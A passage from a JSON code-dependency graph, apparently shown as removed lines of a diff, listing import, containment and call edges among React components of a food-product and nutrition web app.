- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L31",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_badge_badge",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_ui_separator_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "ui_separator_separator",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "app_components_sortdropdown_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_productfilters",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_nutritiongrade",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_novagroup",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_popular_categories_with_icons",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_common_allergens",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L43",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "lib_types_filtersidebarprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/FilterSidebar.tsx",
- "source_location": "L60",
- "weight": 1.0,
- "source": "app_components_filtersidebar_tsx",
- "target": "components_filtersidebar_filtersidebar",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Footer.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_footer_tsx",
- "target": "components_footer_footer_links",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Footer.tsx",
- "source_location": "L22",
- "weight": 1.0,
- "source": "app_components_footer_tsx",
- "target": "components_footer_footer",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/header.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_header_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/header.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_header_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/header.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_header_tsx",
- "target": "components_header_nav_links",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/header.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_components_header_tsx",
- "target": "components_header_header",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/header.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "components_header_header",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "components_idinput_idinput",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/items.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_items_tsx",
- "target": "lib_prisma_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/items.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_items_tsx",
- "target": "components_items_items",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "components_ui_badge_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "ui_badge_badge",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "components_ui_card_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "ui_card_card",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "ui_card_cardcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "components_listaproductcard_listaproductcardprops",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_ui_dialog_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_dialog_dialogcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_dialog_dialogdescription",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_dialog_dialogfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_dialog_dialogheader",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_dialog_dialogtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_ui_input_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "ui_input_input",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L17",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_theme_toggle_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_listheader_listheaderprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "components_listheader_listheader",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "components_ui_input_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_input_input",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "components_ui_select_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_select_selectcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_select_selectitem",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_select_selectlabel",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_select_selecttrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L12",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L12",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L17",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "components_main_mainprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L21",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "components_main_main",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L44",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_nutriscorebadgeprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L12",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_grade_info",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_grade_class",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L24",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_size_class",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L71",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_novabadgeprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L78",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_nova_info",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L85",
- "weight": 1.0,
- "source": "app_components_nutriscorebadge_tsx",
- "target": "components_nutriscorebadge_novabadge",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/NutriScoreBadge.tsx",
- "source_location": "L98",
- "weight": 1.0,
- "source": "components_nutriscorebadge_novabadge",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_nutritionbar",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L61",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_nutritiongridprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L74",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_reference",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L79",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_extractnumber",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L85",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_pct",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L89",
- "weight": 1.0,
- "source": "app_components_nutritionbar_tsx",
- "target": "components_nutritionbar_nutritiongrid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L43",
- "weight": 1.0,
- "source": "components_nutritionbar_nutritionbar",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L86",
- "weight": 1.0,
- "source": "components_nutritionbar_pct",
- "target": "components_nutritionbar_extractnumber",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/NutritionBar.tsx",
- "source_location": "L101",
- "weight": 1.0,
- "source": "components_nutritionbar_nutritiongrid",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "components_ui_card_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "ui_card_card",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "ui_card_cardcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "ui_card_cardheader",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "ui_card_cardtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "components_ui_badge_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "ui_badge_badge",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "components_nutritionchart_nutritiondata",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/NutritionChart.tsx",
- "source_location": "L170",
- "weight": 1.0,
- "source": "app_components_nutritionchart_tsx",
- "target": "components_nutritionchart_nutritionsummary",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L11",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "components_ui_select_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L11",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "ui_select_selectcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L11",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "ui_select_selectitem",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L11",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "ui_select_selecttrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "lib_types_paginationprops",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "lib_types_paginationconfig",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Pagination.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_pagination_tsx",
- "target": "lib_cachemanager_default_config",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_optimizedimage_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "lib_openfoodfactsapi_formatnutritiondata",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_productcardprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_nutri_grade_class",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L28",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_getverdict",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L34",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_getimageurl",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L45",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "barcode_page_nutriletter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L60",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_verdictdot",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L75",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_mobilecard",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L152",
- "weight": 1.0,
- "source": "app_components_productcard_tsx",
- "target": "components_productcard_defaultcard",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L62",
- "weight": 1.0,
- "source": "components_productcard_verdictdot",
- "target": "components_productcard_getverdict",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L76",
- "weight": 1.0,
- "source": "components_productcard_mobilecard",
- "target": "components_productcard_getimageurl",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L153",
- "weight": 1.0,
- "source": "components_productcard_defaultcard",
- "target": "components_productcard_getimageurl",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L64",
- "weight": 1.0,
- "source": "components_productcard_verdictdot",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L89",
- "weight": 1.0,
- "source": "components_productcard_mobilecard",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L154",
- "weight": 1.0,
- "source": "components_productcard_defaultcard",
